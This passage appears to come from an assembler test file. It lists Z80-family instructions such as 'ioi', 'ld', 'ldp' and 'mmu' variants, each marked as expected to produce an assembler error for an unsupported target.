ioi or (hl) ; Error ioi or (ix) ; Error ioi or (ix+127) ; Error ioi or (ix-128) ; Error ioi or (iy) ; Error ioi or (iy+127) ; Error ioi or (iy-128) ; Error ioi or a', (hl) ; Error ioi or a', (ix) ; Error ioi or a', (ix+127) ; Error ioi or a', (ix-128) ; Error ioi or a', (iy) ; Error ioi or a', (iy+127) ; Error ioi or a', (iy-128) ; Error ioi or a, (hl) ; Error ioi or a, (ix) ; Error ioi or a, (ix+127) ; Error ioi or a, (ix-128) ; Error ioi or a, (iy) ; Error ioi or a, (iy+127) ; Error ioi or a, (iy-128) ; Error ioi res -1, (hl) ; Error ioi res -1, (hl) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy-128) ; Error ioi res -1, (iy-128) ; Error ioi res 0, (hl) ; Error ioi res 0, (ix) ; Error ioi res 0, (ix+127) ; Error ioi res 0, (ix-128) ; Error ioi res 0, (iy) ; Error ioi res 0, (iy+127) ; Error ioi res 0, (iy-128) ; Error ioi res 1, (hl) ; Error ioi res 1, (ix) ; Error ioi res 1, (ix+127) ; Error ioi res 1, (ix-128) ; Error ioi res 1, (iy) ; Error ioi res 1, (iy+127) ; Error ioi res 1, (iy-128) ; Error ioi res 2, (hl) ; Error ioi res 2, (ix) ; Error ioi res 2, (ix+127) ; Error ioi res 2, (ix-128) ; Error ioi res 2, (iy) ; Error ioi res 2, (iy+127) ; Error ioi res 2, (iy-128) ; Error ioi res 3, (hl) ; Error ioi res 3, (ix) ; Error ioi res 3, (ix+127) ; Error ioi res 3, (ix-128) ; Error ioi res 3, (iy) ; Error ioi res 3, (iy+127) ; Error ioi res 3, (iy-128) ; Error ioi res 4, (hl) ; Error ioi res 4, (ix) ; Error ioi res 4, (ix+127) ; Error ioi res 4, (ix-128) ; Error ioi res 4, (iy) ; Error ioi res 4, (iy+127) ; Error ioi res 4, (iy-128) ; Error ioi res 5, (hl) ; Error ioi res 5, (ix) ; Error ioi res 5, (ix+127) ; Error ioi res 5, (ix-128) ; Error ioi res 5, (iy) ; Error ioi res 5, (iy+127) ; Error ioi res 5, (iy-128) ; Error ioi res 6, (hl) ; Error ioi res 6, (ix) ; Error ioi res 6, (ix+127) ; Error ioi res 6, (ix-128) ; Error ioi res 6, (iy) ; Error ioi res 6, (iy+127) ; Error ioi res 6, (iy-128) ; Error ioi res 7, (hl) ; Error ioi res 7, (ix) ; Error ioi res 7, (ix+127) ; Error ioi res 7, (ix-128) ; Error ioi res 7, (iy) ; Error ioi res 7, (iy+127) ; Error ioi res 7, (iy-128) ; Error ioi res 8, (hl) ; Error ioi res 8, (hl) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy-128) ; Error ioi res 8, (iy-128) ; Error ioi res.a -1, (hl) ; Error ioi res.a -1, (hl) ; Error ioi res.a -1, (ix) ; Error ioi res.a -1, (ix) ; Error ioi res.a -1, (ix+127) ; Error ioi res.a -1, (ix+127) ; Error ioi res.a -1, (ix-128) ; Error ioi res.a -1, (ix-128) ; Error ioi res.a -1, (iy) ; Error ioi res.a -1, (iy) ; Error ioi res.a -1, (iy+127) ; Error ioi res.a -1, (iy+127) ; Error ioi res.a -1, (iy-128) ; Error ioi res.a -1, (iy-128) ; Error ioi res.a 0, (hl) ; Error ioi res.a 0, (ix) ; Error ioi res.a 0, (ix+127) ; Error ioi res.a 0, (ix-128) ; Error ioi res.a 0, (iy) ; Error ioi res.a 0, (iy+127) ; Error ioi res.a 0, (iy-128) ; Error ioi res.a 1, (hl) ; Error ioi res.a 1, (ix) ; Error ioi res.a 1, (ix+127) ; Error ioi res.a 1, (ix-128) ; Error ioi res.a 1, (iy) ; Error ioi res.a 1, (iy+127) ; Error ioi res.a 1, (iy-128) ; Error ioi res.a 2, (hl) ; Error ioi res.a 2, (ix) ; Error ioi res.a 2, (ix+127) ; Error ioi res.a 2, (ix-128) ; Error ioi res.a 2, (iy) ; Error ioi res.a 2, (iy+127) ; Error ioi res.a 2, (iy-128) ; Error ioi res.a 3, (hl) ; Error ioi res.a 3, (ix) ; Error ioi res.a 3, (ix+127) ; Error ioi res.a 3, (ix-128) ; Error ioi res.a 3, (iy) ; Error ioi res.a 3, (iy+127) ; Error ioi res.a 3, (iy-128) ; Error ioi res.a 4, (hl) ; Error ioi res.a 4, (ix) ; Error ioi res.a 4, (ix+127) ; Error ioi res.a 4, (ix-128) ; Error ioi res.a 4, (iy) ; Error ioi res.a 4, (iy+127) ; Error ioi res.a 4, (iy-128) ; Error ioi res.a 5, (hl) ; Error ioi res.a 5, (ix) ; Error ioi res.a 5, (ix+127) ; Error ioi res.a 5, (ix-128) ; Error ioi res.a 5, (iy) ; Error ioi res.a 5, (iy+127) ; Error ioi res.a 5, (iy-128) ; Error ioi res.a 6, (hl) ; Error ioi res.a 6, (ix) ; Error ioi res.a 6, (ix+127) ; Error ioi res.a 6, (ix-128) ; Error ioi res.a 6, (iy) ; Error ioi res.a 6, (iy+127) ; Error ioi res.a 6, (iy-128) ; Error ioi res.a 7, (hl) ; Error ioi res.a 7, (ix) ; Error ioi res.a 7, (ix+127) ; Error ioi res.a 7, (ix-128) ; Error ioi res.a 7, (iy) ; Error ioi res.a 7, (iy+127) ; Error ioi res.a 7, (iy-128) ; Error ioi res.a 8, (hl) ; Error ioi res.a 8, (hl) ; Error ioi res.a 8, (ix) ; Error ioi res.a 8, (ix) ; Error ioi res.a 8, (ix+127) ; Error ioi res.a 8, (ix+127) ; Error ioi res.a 8, (ix-128) ; Error ioi res.a 8, (ix-128) ; Error ioi res.a 8, (iy) ; Error ioi res.a 8, (iy) ; Error ioi res.a 8, (iy+127) ; Error ioi res.a 8, (iy+127) ; Error ioi res.a 8, (iy-128) ; Error ioi res.a 8, (iy-128) ; Error ioi rl (hl) ; Error ioi rl (ix) ; Error ioi rl (ix+127) ; Error ioi rl (ix-128) ; Error ioi rl (iy) ; Error ioi rl (iy+127) ; Error ioi rl (iy-128) ; Error ioi rlc (hl) ; Error ioi rlc (ix) ; Error ioi rlc (ix+127) ; Error ioi rlc (ix-128) ; Error ioi rlc (iy) ; Error ioi rlc (iy+127) ; Error ioi rlc (iy-128) ; Error ioi rr (hl) ; Error ioi rr (ix) ; Error ioi rr (ix+127) ; Error ioi rr (ix-128) ; Error ioi rr (iy) ; Error ioi rr (iy+127) ; Error ioi rr (iy-128) ; Error ioi rrc (hl) ; Error ioi rrc (ix) ; Error ioi rrc (ix+127) ; Error ioi rrc (ix-128) ; Error ioi rrc (iy) ; Error ioi rrc (iy+127) ; Error ioi rrc (iy-128) ; Error ioi sbc (hl) ; Error ioi sbc (ix) ; Error ioi sbc (ix+127) ; Error ioi sbc (ix-128) ; Error ioi sbc (iy) ; Error ioi sbc (iy+127) ; Error ioi sbc (iy-128) ; Error ioi sbc a', (hl) ; Error ioi sbc a', (ix) ; Error ioi sbc a', (ix+127) ; Error ioi sbc a', (ix-128) ; Error ioi sbc a', (iy) ; Error ioi sbc a', (iy+127) ; Error ioi sbc a', (iy-128) ; Error ioi sbc a, (hl) ; Error ioi sbc a, (ix) ; Error ioi sbc a, (ix+127) ; Error ioi sbc a, (ix-128) ; Error ioi sbc a, (iy) ; Error ioi sbc a, (iy+127) ; Error ioi sbc a, (iy-128) ; Error ioi set -1, (hl) ; Error ioi set -1, (hl) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy-128) ; Error ioi set -1, (iy-128) ; Error ioi set 0, (hl) ; Error ioi set 0, (ix) ; Error ioi set 0, (ix+127) ; Error ioi set 0, (ix-128) ; Error ioi set 0, (iy) ; Error ioi set 0, (iy+127) ; Error ioi set 0, (iy-128) ; Error ioi set 1, (hl) ; Error ioi set 1, (ix) ; Error ioi set 1, (ix+127) ; Error ioi set 1, (ix-128) ; Error ioi set 1, (iy) ; Error ioi set 1, (iy+127) ; Error ioi set 1, (iy-128) ; Error ioi set 2, (hl) ; Error ioi set 2, (ix) ; Error ioi set 2, (ix+127) ; Error ioi set 2, (ix-128) ; Error ioi set 2, (iy) ; Error ioi set 2, (iy+127) ; Error ioi set 2, (iy-128) ; Error ioi set 3, (hl) ; Error ioi set 3, (ix) ; Error ioi set 3, (ix+127) ; Error ioi set 3, (ix-128) ; Error ioi set 3, (iy) ; Error ioi set 3, (iy+127) ; Error ioi set 3, (iy-128) ; Error ioi set 4, (hl) ; Error ioi set 4, (ix) ; Error ioi set 4, (ix+127) ; Error ioi set 4, (ix-128) ; Error ioi set 4, (iy) ; Error ioi set 4, (iy+127) ; Error ioi set 4, (iy-128) ; Error ioi set 5, (hl) ; Error ioi set 5, (ix) ; Error ioi set 5, (ix+127) ; Error ioi set 5, (ix-128) ; Error ioi set 5, (iy) ; Error ioi set 5, (iy+127) ; Error ioi set 5, (iy-128) ; Error ioi set 6, (hl) ; Error ioi set 6, (ix) ; Error ioi set 6, (ix+127) ; Error ioi set 6, (ix-128) ; Error ioi set 6, (iy) ; Error ioi set 6, (iy+127) ; Error ioi set 6, (iy-128) ; Error ioi set 7, (hl) ; Error ioi set 7, (ix) ; Error ioi set 7, (ix+127) ; Error ioi set 7, (ix-128) ; Error ioi set 7, (iy) ; Error ioi set 7, (iy+127) ; Error ioi set 7, (iy-128) ; Error ioi set 8, (hl) ; Error ioi set 8, (hl) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix+127) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (ix-128) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy+127) ; Error ioi set 8, (iy-128) ; Error ioi set 8, (iy-128) ; Error ioi set.a -1, (hl) ; Error ioi set.a -1, (hl) ; Error ioi set.a -1, (ix) ; Error ioi set.a -1, (ix) ; Error ioi set.a -1, (ix+127) ; Error ioi set.a -1, (ix+127) ; Error ioi set.a -1, (ix-128) ; Error ioi set.a -1, (ix-128) ; Error ioi set.a -1, (iy) ; Error ioi set.a -1, (iy) ; Error ioi set.a -1, (iy+127) ; Error ioi set.a -1, (iy+127) ; Error ioi set.a -1, (iy-128) ; Error ioi set.a -1, (iy-128) ; Error ioi set.a 0, (hl) ; Error ioi set.a 0, (ix) ; Error ioi set.a 0, (ix+127) ; Error ioi set.a 0, (ix-128) ; Error ioi set.a 0, (iy) ; Error ioi set.a 0, (iy+127) ; Error ioi set.a 0, (iy-128) ; Error ioi set.a 1, (hl) ; Error ioi set.a 1, (ix) ; Error ioi set.a 1, (ix+127) ; Error ioi set.a 1, (ix-128) ; Error ioi set.a 1, (iy) ; Error ioi set.a 1, (iy+127) ; Error ioi set.a 1, (iy-128) ; Error ioi set.a 2, (hl) ; Error ioi set.a 2, (ix) ; Error ioi set.a 2, (ix+127) ; Error ioi set.a 2, (ix-128) ; Error ioi set.a 2, (iy) ; Error ioi set.a 2, (iy+127) ; Error ioi set.a 2, (iy-128) ; Error ioi set.a 3, (hl) ; Error ioi set.a 3, (ix) ; Error ioi set.a 3, (ix+127) ; Error ioi set.a 3, (ix-128) ; Error ioi set.a 3, (iy) ; Error ioi set.a 3, (iy+127) ; Error ioi set.a 3, (iy-128) ; Error ioi set.a 4, (hl) ; Error ioi set.a 4, (ix) ; Error ioi set.a 4, (ix+127) ; Error ioi set.a 4, (ix-128) ; Error ioi set.a 4, (iy) ; Error ioi set.a 4, (iy+127) ; Error ioi set.a 4, (iy-128) ; Error ioi set.a 5, (hl) ; Error ioi set.a 5, (ix) ; Error ioi set.a 5, (ix+127) ; Error ioi set.a 5, (ix-128) ; Error ioi set.a 5, (iy) ; Error ioi set.a 5, (iy+127) ; Error ioi set.a 5, (iy-128) ; Error ioi set.a 6, (hl) ; Error ioi set.a 6, (ix) ; Error ioi set.a 6, (ix+127) ; Error ioi set.a 6, (ix-128) ; Error ioi set.a 6, (iy) ; Error ioi set.a 6, (iy+127) ; Error ioi set.a 6, (iy-128) ; Error ioi set.a 7, (hl) ; Error ioi set.a 7, (ix) ; Error ioi set.a 7, (ix+127) ; Error ioi set.a 7, (ix-128) ; Error ioi set.a 7, (iy) ; Error ioi set.a 7, (iy+127) ; Error ioi set.a 7, (iy-128) ; Error ioi set.a 8, (hl) ; Error ioi set.a 8, (hl) ; Error ioi set.a 8, (ix) ; Error ioi set.a 8, (ix) ; Error ioi set.a 8, (ix+127) ; Error ioi set.a 8, (ix+127) ; Error ioi set.a 8, (ix-128) ; Error ioi set.a 8, (ix-128) ; Error ioi set.a 8, (iy) ; Error ioi set.a 8, (iy) ; Error ioi set.a 8, (iy+127) ; Error ioi set.a 8, (iy+127) ; Error ioi set.a 8, (iy-128) ; Error ioi set.a 8, (iy-128) ; Error ioi sla (hl) ; Error ioi sla (ix) ; Error ioi sla (ix+127) ; Error ioi sla (ix-128) ; Error ioi sla (iy) ; Error ioi sla (iy+127) ; Error ioi sla (iy-128) ; Error ioi sra (hl) ; Error ioi sra (ix) ; Error ioi sra (ix+127) ; Error ioi sra (ix-128) ; Error ioi sra (iy) ; Error ioi sra (iy+127) ; Error ioi sra (iy-128) ; Error ioi srl (hl) ; Error ioi srl (ix) ; Error ioi srl (ix+127) ; Error ioi srl (ix-128) ; Error ioi srl (iy) ; Error ioi srl (iy+127) ; Error ioi srl (iy-128) ; Error ioi sub (hl) ; Error ioi sub (ix) ; Error ioi sub (ix+127) ; Error ioi sub (ix-128) ; Error ioi sub (iy) ; Error ioi sub (iy+127) ; Error ioi sub (iy-128) ; Error ioi sub a', (hl) ; Error ioi sub a', (ix) ; Error ioi sub a', (ix+127) ; Error ioi sub a', (ix-128) ; Error ioi sub a', (iy) ; Error ioi sub a', (iy+127) ; Error ioi sub a', (iy-128) ; Error ioi sub a, (hl) ; Error ioi sub a, (ix) ; Error ioi sub a, (ix+127) ; Error ioi sub a, (ix-128) ; Error ioi sub a, (iy) ; Error ioi sub a, (iy+127) ; Error ioi sub a, (iy-128) ; Error ioi xor (hl) ; Error ioi xor (ix) ; Error ioi xor (ix+127) ; Error ioi xor (ix-128) ; Error ioi xor (iy) ; Error ioi xor (iy+127) ; Error ioi xor (iy-128) ; Error ioi xor a', (hl) ; Error ioi xor a', (ix) ; Error ioi xor a', (ix+127) ; Error ioi xor a', (ix-128) ; Error ioi xor a', (iy) ; Error ioi xor a', (iy+127) ; Error ioi xor a', (iy-128) ; Error ioi xor a, (hl) ; Error ioi xor a, (ix) ; Error ioi xor a, (ix+127) ; Error ioi xor a, (ix-128) ; Error ioi xor a, (iy) ; Error ioi xor a, (iy+127) ; Error ioi xor a, (iy-128) ; Error ipres ; Error ipset -1 ; Error ipset -1 ; Error ipset 0 ; Error ipset 1 ; Error ipset 2 ; Error ipset 3 ; Error ipset 4 ; Error ipset 4 ; Error j_k -32768 ; Error j_k 32767 ; Error j_k 65535 ; Error j_lo -32768 ; Error j_lo 32767 ; Error j_lo 65535 ; Error j_lz -32768 ; Error j_lz 32767 ; Error j_lz 65535 ; Error j_nk -32768 ; Error j_nk 32767 ; Error j_nk 65535 ; Error j_nx5 -32768 ; Error j_nx5 32767 ; Error j_nx5 65535 ; Error j_x5 -32768 ; Error j_x5 32767 ; Error j_x5 65535 ; Error jk -32768 ; Error jk 32767 ; Error jk 65535 ; Error jlo -32768 ; Error jlo 32767 ; Error jlo 65535 ; Error jlz -32768 ; Error jlz 32767 ; Error jlz 65535 ; Error jnk -32768 ; Error jnk 32767 ; Error jnk 65535 ; Error jnx5 -32768 ; Error jnx5 32767 ; Error jnx5 65535 ; Error jp (c) ; Error jp (ix) ; Error jp (iy) ; Error jp k,-32768 ; Error jp k,32767 ; Error jp k,65535 ; Error jp lo, -32768 ; Error jp lo, 32767 ; Error jp lo, 65535 ; Error jp lz, -32768 ; Error jp lz, 32767 ; Error jp lz, 65535 ; Error jp nk,-32768 ; Error jp nk,32767 ; Error jp nk,65535 ; Error jp nx5,-32768 ; Error jp nx5,32767 ; Error jp nx5,65535 ; Error jp x5,-32768 ; Error jp x5,32767 ; Error jp x5,65535 ; Error jx5 -32768 ; Error jx5 32767 ; Error jx5 65535 ; Error ld (-32768), bc ; Error ld (-32768), de ; Error ld (-32768), ix ; Error ld (-32768), iy ; Error ld (-32768), sp ; Error ld (32767), bc ; Error ld (32767), de ; Error ld (32767), ix ; Error ld (32767), iy ; Error ld (32767), sp ; Error ld (65535), bc ; Error ld (65535), de ; Error ld (65535), ix ; Error ld (65535), iy ; Error ld (65535), sp ; Error ld (c), a ; Error ld (de), hl ; Error ld (hl), hl ; Error ld (hl+127), hl ; Error ld (hl-128), hl ; Error ld (ix), -128 ; Error ld (ix), 127 ; Error ld (ix), 255 ; Error ld (ix), a ; Error ld (ix), b ; Error ld (ix), c ; Error ld (ix), d ; Error ld (ix), e ; Error ld (ix), h ; Error ld (ix), hl ; Error ld (ix), l ; Error ld (ix+127), -128 ; Error ld (ix+127), 127 ; Error ld (ix+127), 255 ; Error ld (ix+127), a ; Error ld (ix+127), b ; Error ld (ix+127), c ; Error ld (ix+127), d ; Error ld (ix+127), e ; Error ld (ix+127), h ; Error ld (ix+127), hl ; Error ld (ix+127), l ; Error ld (ix-128), -128 ; Error ld (ix-128), 127 ; Error ld (ix-128), 255 ; Error ld (ix-128), a ; Error ld (ix-128), b ; Error ld (ix-128), c ; Error ld (ix-128), d ; Error ld (ix-128), e ; Error ld (ix-128), h ; Error ld (ix-128), hl ; Error ld (ix-128), l ; Error ld (iy), -128 ; Error ld (iy), 127 ; Error ld (iy), 255 ; Error ld (iy), a ; Error ld (iy), b ; Error ld (iy), c ; Error ld (iy), d ; Error ld (iy), e ; Error ld (iy), h ; Error ld (iy), hl ; Error ld (iy), l ; Error ld (iy+127), -128 ; Error ld (iy+127), 127 ; Error ld (iy+127), 255 ; Error ld (iy+127), a ; Error ld (iy+127), b ; Error ld (iy+127), c ; Error ld (iy+127), d ; Error ld (iy+127), e ; Error ld (iy+127), h ; Error ld (iy+127), hl ; Error ld (iy+127), l ; Error ld (iy-128), -128 ; Error ld (iy-128), 127 ; Error ld (iy-128), 255 ; Error ld (iy-128), a ; Error ld (iy-128), b ; Error ld (iy-128), c ; Error ld (iy-128), d ; Error ld (iy-128), e ; Error ld (iy-128), h ; Error ld (iy-128), hl ; Error ld (iy-128), l ; Error ld (sp), hl ; Error ld (sp), ix ; Error ld (sp), iy ; Error ld (sp+0), hl ; Error ld (sp+0), ix ; Error ld (sp+0), iy ; Error ld (sp+255), hl ; Error ld (sp+255), ix ; Error ld (sp+255), iy ; Error ld a', (-32768) ; Error ld a', (32767) ; Error ld a', (65535) ; Error ld a', (bc) ; Error ld a', (bc+) ; Error ld a', (bc-) ; Error ld a', (de) ; Error ld a', (de+) ; Error ld a', (de-) ; Error ld a', (hl) ; Error ld a', (hl+) ; Error ld a', (hl-) ; Error ld a', (hld) ; Error ld a', (hli) ; Error ld a', (ix) ; Error ld a', (ix+127) ; Error ld a', (ix-128) ; Error ld a', (iy) ; Error ld a', (iy+127) ; Error ld a', (iy-128) ; Error ld a', -128 ; Error ld a', 127 ; Error ld a', 255 ; Error ld a', a ; Error ld a', b ; Error ld a', c ; Error ld a', d ; Error ld a', e ; Error ld a', eir ; Error ld a', h ; Error ld a', iir ; Error ld a', l ; Error ld a', xpc ; Error ld a, (c) ; Error ld a, (ix) ; Error ld a, (ix+127) ; Error ld a, (ix-128) ; Error ld a, (iy) ; Error ld a, (iy+127) ; Error ld a, (iy-128) ; Error ld a, eir ; Error ld a, i ; Error ld a, iir ; Error ld a, ixh ; Error ld a, ixl ; Error ld a, iyh ; Error ld a, iyl ; Error ld a, r ; Error ld a, xpc ; Error ld b', (hl) ; Error ld b', (ix) ; Error ld b', (ix+127) ; Error ld b', (ix-128) ; Error ld b', (iy) ; Error ld b', (iy+127) ; Error ld b', (iy-128) ; Error ld b', -128 ; Error ld b', 127 ; Error ld b', 255 ; Error ld b', a ; Error ld b', b ; Error ld b', c ; Error ld b', d ; Error ld b', e ; Error ld b', h ; Error ld b', l ; Error ld b, (ix) ; Error ld b, (ix+127) ; Error ld b, (ix-128) ; Error ld b, (iy) ; Error ld b, (iy+127) ; Error ld b, (iy-128) ; Error ld b, ixh ; Error ld b, ixl ; Error ld b, iyh ; Error ld b, iyl ; Error ld bc', (-32768) ; Error ld bc', (32767) ; Error ld bc', (65535) ; Error ld bc', -32768 ; Error ld bc', 32767 ; Error ld bc', 65535 ; Error ld bc', bc ; Error ld bc', de ; Error ld bc, (-32768) ; Error ld bc, (32767) ; Error ld bc, (65535) ; Error ld bc, ix ; Error ld bc, iy ; Error ld c', (hl) ; Error ld c', (ix) ; Error ld c', (ix+127) ; Error ld c', (ix-128) ; Error ld c', (iy) ; Error ld c', (iy+127) ; Error ld c', (iy-128) ; Error ld c', -128 ; Error ld c', 127 ; Error ld c', 255 ; Error ld c', a ; Error ld c', b ; Error ld c', c ; Error ld c', d ; Error ld c', e ; Error ld c', h ; Error ld c', l ; Error ld c, (ix) ; Error ld c, (ix+127) ; Error ld c, (ix-128) ; Error ld c, (iy) ; Error ld c, (iy+127) ; Error ld c, (iy-128) ; Error ld c, ixh ; Error ld c, ixl ; Error ld c, iyh ; Error ld c, iyl ; Error ld d', (hl) ; Error ld d', (ix) ; Error ld d', (ix+127) ; Error ld d', (ix-128) ; Error ld d', (iy) ; Error ld d', (iy+127) ; Error ld d', (iy-128) ; Error ld d', -128 ; Error ld d', 127 ; Error ld d', 255 ; Error ld d', a ; Error ld d', b ; Error ld d', c ; Error ld d', d ; Error ld d', e ; Error ld d', h ; Error ld d', l ; Error ld d, (ix) ; Error ld d, (ix+127) ; Error ld d, (ix-128) ; Error ld d, (iy) ; Error ld d, (iy+127) ; Error ld d, (iy-128) ; Error ld d, ixh ; Error ld d, ixl ; Error ld d, iyh ; Error ld d, iyl ; Error ld de', (-32768) ; Error ld de', (32767) ; Error ld de', (65535) ; Error ld de', -32768 ; Error ld de', 32767 ; Error ld de', 65535 ; Error ld de', bc ; Error ld de', de ; Error ld de, (-32768) ; Error ld de, (32767) ; Error ld de, (65535) ; Error ld de, hl+0 ; Error ld de, hl+255 ; Error ld de, ix ; Error ld de, iy ; Error ld e', (hl) ; Error ld e', (ix) ; Error ld e', (ix+127) ; Error ld e', (ix-128) ; Error ld e', (iy) ; Error ld e', (iy+127) ; Error ld e', (iy-128) ; Error ld e', -128 ; Error ld e', 127 ; Error ld e', 255 ; Error ld e', a ; Error ld e', b ; Error ld e', c ; Error ld e', d ; Error ld e', e ; Error ld e', h ; Error ld e', l ; Error ld e, (ix) ; Error ld e, (ix+127) ; Error ld e, (ix-128) ; Error ld e, (iy) ; Error ld e, (iy+127) ; Error ld e, (iy-128) ; Error ld e, ixh ; Error ld e, ixl ; Error ld e, iyh ; Error ld e, iyl ; Error ld eir, a ; Error ld h', (hl) ; Error ld h', (ix) ; Error ld h', (ix+127) ; Error ld h', (ix-128) ; Error ld h', (iy) ; Error ld h', (iy+127) ; Error ld h', (iy-128) ; Error ld h', -128 ; Error ld h', 127 ; Error ld h', 255 ; Error ld h', a ; Error ld h', b ; Error ld h', c ; Error ld h', d ; Error ld h', e ; Error ld h', h ; Error ld h', l ; Error ld h, (ix) ; Error ld h, (ix+127) ; Error ld h, (ix-128) ; Error ld h, (iy) ; Error ld h, (iy+127) ; Error ld h, (iy-128) ; Error ld hl', (-32768) ; Error ld hl', (32767) ; Error ld hl', (65535) ; Error ld hl', (hl) ; Error ld hl', (hl+127) ; Error ld hl', (hl-128) ; Error ld hl', (ix) ; Error ld hl', (ix+127) ; Error ld hl', (ix-128) ; Error ld hl', (iy) ; Error ld hl', (iy+127) ; Error ld hl', (iy-128) ; Error ld hl', (sp) ; Error ld hl', (sp+0) ; Error ld hl', (sp+255) ; Error ld hl', -32768 ; Error ld hl', 32767 ; Error ld hl', 65535 ; Error ld hl', bc ; Error ld hl', de ; Error ld hl', ix ; Error ld hl', iy ; Error ld hl, (de) ; Error ld hl, (hl) ; Error ld hl, (hl+127) ; Error ld hl, (hl-128) ; Error ld hl, (ix) ; Error ld hl, (ix+127) ; Error ld hl, (ix-128) ; Error ld hl, (iy) ; Error ld hl, (iy+127) ; Error ld hl, (iy-128) ; Error ld hl, (sp) ; Error ld hl, (sp+0) ; Error ld hl, (sp+255) ; Error ld hl, ix ; Error ld hl, iy ; Error ld i, a ; Error ld iir, a ; Error ld ix, (-32768) ; Error ld ix, (32767) ; Error ld ix, (65535) ; Error ld ix, (sp) ; Error ld ix, (sp+0) ; Error ld ix, (sp+255) ; Error ld ix, -32768 ; Error ld ix, 32767 ; Error ld ix, 65535 ; Error ld ix, bc ; Error ld ix, de ; Error ld ix, hl ; Error ld ix, iy ; Error ld ixh, -128 ; Error ld ixh, 127 ; Error ld ixh, 255 ; Error ld ixh, a ; Error ld ixh, b ; Error ld ixh, c ; Error ld ixh, d ; Error ld ixh, e ; Error ld ixh, ixh ; Error ld ixh, ixl ; Error ld ixl, -128 ; Error ld ixl, 127 ; Error ld ixl, 255 ; Error ld ixl, a ; Error ld ixl, b ; Error ld ixl, c ; Error ld ixl, d ; Error ld ixl, e ; Error ld ixl, ixh ; Error ld ixl, ixl ; Error ld iy, (-32768) ; Error ld iy, (32767) ; Error ld iy, (65535) ; Error ld iy, (sp) ; Error ld iy, (sp+0) ; Error ld iy, (sp+255) ; Error ld iy, -32768 ; Error ld iy, 32767 ; Error ld iy, 65535 ; Error ld iy, bc ; Error ld iy, de ; Error ld iy, hl ; Error ld iy, ix ; Error ld iyh, -128 ; Error ld iyh, 127 ; Error ld iyh, 255 ; Error ld iyh, a ; Error ld iyh, b ; Error ld iyh, c ; Error ld iyh, d ; Error ld iyh, e ; Error ld iyh, iyh ; Error ld iyh, iyl ; Error ld iyl, -128 ; Error ld iyl, 127 ; Error ld iyl, 255 ; Error ld iyl, a ; Error ld iyl, b ; Error ld iyl, c ; Error ld iyl, d ; Error ld iyl, e ; Error ld iyl, iyh ; Error ld iyl, iyl ; Error ld l', (hl) ; Error ld l', (ix) ; Error ld l', (ix+127) ; Error ld l', (ix-128) ; Error ld l', (iy) ; Error ld l', (iy+127) ; Error ld l', (iy-128) ; Error ld l', -128 ; Error ld l', 127 ; Error ld l', 255 ; Error ld l', a ; Error ld l', b ; Error ld l', c ; Error ld l', d ; Error ld l', e ; Error ld l', h ; Error ld l', l ; Error ld l, (ix) ; Error ld l, (ix+127) ; Error ld l, (ix-128) ; Error ld l, (iy) ; Error ld l, (iy+127) ; Error ld l, (iy-128) ; Error ld r, a ; Error ld sp, (-32768) ; Error ld sp, (32767) ; Error ld sp, (65535) ; Error ld sp, ix ; Error ld sp, iy ; Error ld xpc, a ; Error lddrx ; Error lddsr ; Error lddx ; Error ldh (0), a ; Error ldh (127), a ; Error ldh (255), a ; Error ldh (c), a ; Error ldh a, (0) ; Error ldh a, (127) ; Error ldh a, (255) ; Error ldh a, (c) ; Error ldhi -128 ; Error ldhi 127 ; Error ldhi 255 ; Error ldhl sp, -128 ; Error ldhl sp, 127 ; Error ldirx ; Error ldisr ; Error ldix ; Error ldp (-32768), hl ; Error ldp (-32768), ix ; Error ldp (-32768), iy ; Error ldp (32767), hl ; Error ldp (32767), ix ; Error ldp (32767), iy ; Error ldp (65535), hl ; Error ldp (65535), ix ; Error ldp (65535), iy ; Error ldp (hl), hl ; Error ldp (ix), hl ; Error ldp (iy), hl ; Error ldp hl, (-32768) ; Error ldp hl, (32767) ; Error ldp hl, (65535) ; Error ldp hl, (hl) ; Error ldp hl, (ix) ; Error ldp hl, (iy) ; Error ldp ix, (-32768) ; Error ldp ix, (32767) ; Error ldp ix, (65535) ; Error ldp iy, (-32768) ; Error ldp iy, (32767) ; Error ldp iy, (65535) ; Error ldpirx ; Error ldsi -128 ; Error ldsi 127 ; Error ldsi 255 ; Error ldws ; Error lhlde ; Error lhlx ; Error lsddr ; Error lsdr ; Error lsidr ; Error lsir ; Error mirror a ; Error mlt bc ; Error mlt de ; Error mlt hl ; Error mlt sp ; Error mmu -1, -128 ; Error mmu -1, -128 ; Error mmu -1, 127 ; Error mmu -1, 127 ; Error mmu -1, 255 ; Error mmu -1, 255 ; Error mmu -1, a ; Error mmu -1, a ; Error mmu 0, -128 ; Error mmu 0, 127 ; Error mmu 0, 255 ; Error mmu 0, a ; Error mmu 1, -128 ; Error mmu 1, 127 ; Error mmu 1, 255 ; Error mmu 1, a ; Error mmu 2, -128 ; Error mmu 2, 127 ; Error mmu 2, 255 ; Error mmu 2, a ; Error mmu 3, -128 ; Error mmu 3, 127 ; Error mmu 3, 255 ; Error mmu 3, a ; Error mmu 4, -128 ; Error mmu 4, 127 ; Error mmu 4, 255 ; Error mmu 4, a ; Error mmu 5, -128 ; Error mmu 5, 127 ; Error mmu 5, 255 ; Error mmu 5, a ; Error mmu 6, -128 ; Error mmu 6, 127 ; Error mmu 6, 255 ; Error mmu 6, a ; Error mmu 7, -128 ; Error mmu 7, 127 ; Error mmu 